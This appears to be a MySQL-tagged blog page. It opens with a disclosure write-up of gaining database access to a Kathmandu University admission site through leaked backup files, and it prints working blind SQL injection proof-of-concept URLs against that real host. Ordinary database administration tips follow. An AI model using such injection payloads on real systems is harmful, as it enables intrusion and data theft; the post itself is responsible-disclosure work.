Showing posts with label mysql. Show all posts
Showing posts with label mysql. Show all posts

Wednesday 23 July 2014

Hacking KU Admission Web Application

This post is a write-up of my attempt to keep local scene safe and secure and make institutions, programmers and digital users aware about security.

Today, at 1:00 PM, I got a call from a very talented NJ Subedi who told me that some guy told him that the guy could change all his scores and would be able to get him admitted to Kathmandu University even without appearing on the exam. WTH! I told myself. I was working on one of my projects so at first, I did not think of trying to attack the admission app. But, I could not resist my curiosity and soon began some basic recon.

My findings:-

Server: Ubuntu 12.04
OpenSSH 5.9p1
Apache httpd 2.2.22
MariaDB (possibly 5.5.37)


I started smelling bad things when I found that MariaDB port 3306 was open to the world and anybody could access the database server given the credentials.

I knew of an authentication bypass bug in MySQL/MariaDB. But, it was for older versions of database server so after a quick test, I ruled out this exploit.

SSH port was also open to the world and SSH bruteforcing is still common. I don't know if a weak password has been chosen for one of the accounts in the system but I ruled out this possibility believing that there had to be something else: some kind of coding flaw or deployment issue.

Then, I started looking at the source code of common.js file. I could immediately sense that the directory browsing has been enabled so I could list files in a directory without an index file. Looking at the pattern of javascript backup file, I could access backup copies of PHP files as well which revealed critical database credentials. BOOOOM!!! The MariaDB service is open to the world and I now have database credentials of the apply.ku.edu.np/cbt web application. It turned out easier than expected

I then switched to the terminal and got access to the MariaDB server. Within half an hour, I was already in the database. As a proof, I've attached 'show tables' output. No further queries were executed.



Remedies:-

  • Remove all backup copies of PHP files
  • Filter port 3306 and 22 for limited trusted IPs only (Though I didn't bruteforce MariaDB or SSHD, it can also be an issue).
  • Check if any users have been added to linux system and mariadb mysql.user list and revoke necessary accesses
  • Change mariadb users and passwords
  • Disable remote access to MariaDB


Timeline:-

1:10 PM - started looking into the issue
1:35 PM - got access to the system
2:00 PM - notified concerned people
3:30 PM - bugs resolved
4:00 PM - Vulnerability disclosed


That was quickly fixed. Wish all the applicants good luck.

Updates:- Later, I found a blind SQL injection flaw and a possible vulnerability that would allow to send reset e-mail to all the applicants (I did not test the later one but can still see the possibility of existence of this flaw.)

The blind SQL injection flaw was in ajaxCallFile.php which checks for valid e-mail during password reset process. Its non-trivial but still possible to use this flaw to attack the web application. Below are few PoC URLs:

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27;%20--+&entryMode=checkEmail (A seemingly invalid e-mail address but SQL contextual emailID generates a valid result

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+1=1;%20--+&entryMode=checkEmail (I'm using AND 1 = 1 which is always true here)

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+1=2;%20--+&entryMode=checkEmail (I'm using AND 1=2 this time)

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+5=substr%28@@VERSION,1,1%29;%20--+&entryMode=checkEmail (Here, I find the major version of database is 5.x)

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+%27snipped_for_security%27=substr%28user%28%29,1,3%29;%20--+&entryMode=checkEmail (Here, I can see that first three characters of current db user are 'snipped_for_security')

It was also quickly fixed. Thanks for working hard on keeping applicants safe.


Read more...

Saturday 7 December 2013

MyISAM to InnoDB Engine Conversion

We are doing lots of MyISAM to InnoDB migrations in our production environment and since the engine conversion needs to be done for each table, its good to generate a script to do so when you have huge number of databases each having several tables. Here is the quick script to generate script for MyISAM to InnoDB engine conversion.
mysql -u <user> -p -e "SELECT concat('ALTER TABLE \`',TABLE_SCHEMA,'\`.\`',TABLE_NAME,'\` ENGINE=InnoDB;') FROM Information_schema.TABLES WHERE TABLE_SCHEMA in ('database1', 'database2', 'databaseN') AND ENGINE = 'MyISAM' AND TABLE_TYPE='BASE TABLE'" | tail -n+2 > alter.sql


Once the SQL script is generated, all you need to do is run the sql file to your database server.
$ mysql -u <user> -p < alter.sql


Note that while InnoDB is generally the better engine than MyISAM and MySQL has InnoDB as default engine since 5.5, MyISAM has its own benefits and you should make performance analysis in preferably a test environment while converting the engine type.


Read more...

Friday 18 October 2013

Pattern Based Database GRANT In MySQL

At our workplace, we need to manage database access for different teams and rather than adding another grant on the addition of new database, I've been following a pattern based database access grants in MySQL.

We let different teams work on replicas of same database and hence append the terms such as _dev and _qa as the database prefix. And, we define GRANTS based on these patterns. An example would be something like below:
GRANT ALL ON `%\_dev`.* TO 'user'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;


I hope this proves useful for some of you guys :)


Read more...

Friday 28 June 2013

Rename MySQL root User [How To]

MySQL ships with the default user 'root' who has all kind of access to the MySQL database. We often wish to rename this user to something else because of maybe security issues or any other reason. While renaming 'root' to something else is not going to alleviate all sorts of security problems that may arise, it is good idea to rename 'root' to some other name.

Login to the MySQL console and then type the following SQL statements:

mysql> use mysql;
mysql> update user set user="some_other_user" where user="root";
mysql> flush privileges;


It is often good idea to drop anonymous users and the test database because of security reasons. I bet you are never going to use that test database so why keep it? Run the SQL statements as below to do so:

mysql> drop user "";
mysql> drop database test;


Also, make sure you use strong passwords. You can use mysqladmin to change passwords.

$ mysqladmin -u my_new_user -p password 's0m3_r4nd0m_$|r0ng_p455' $ history -c $ rm ~/.mysql_history


The later two commands are to ensure that no log of any of your MySQL queries or admin level commands have been stored in the history.

I hope this helps :)


Read more...

Monday 5 September 2011

Solving MySQL Connection Error In Non-standard Bundles

For a standard MySQL installation from software repository, there won't be much problem in using MySQL for different connections however if you install some other bundles such as LAMPP, you are most likely to see an error Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' however the solution to this is as easy as making a symbolic link of MySQL socket.

In my case, I had LAMPP installed and the MySQL socket was in the folder /opt/lampp/var/mysql/mysql.sock and your might be different so first figure out the location of this MySQL socket and then just enter the following commands and you're done.

samar@Techgaun:~$ sudo mkdir /var/run/mysqld/
samar@Techgaun:~$ sudo ln -s /opt/lampp/var/mysql/mysql.sock /var/run/mysqld/mysqld.sock

That should work as a charm. I hope this helps :)


Read more...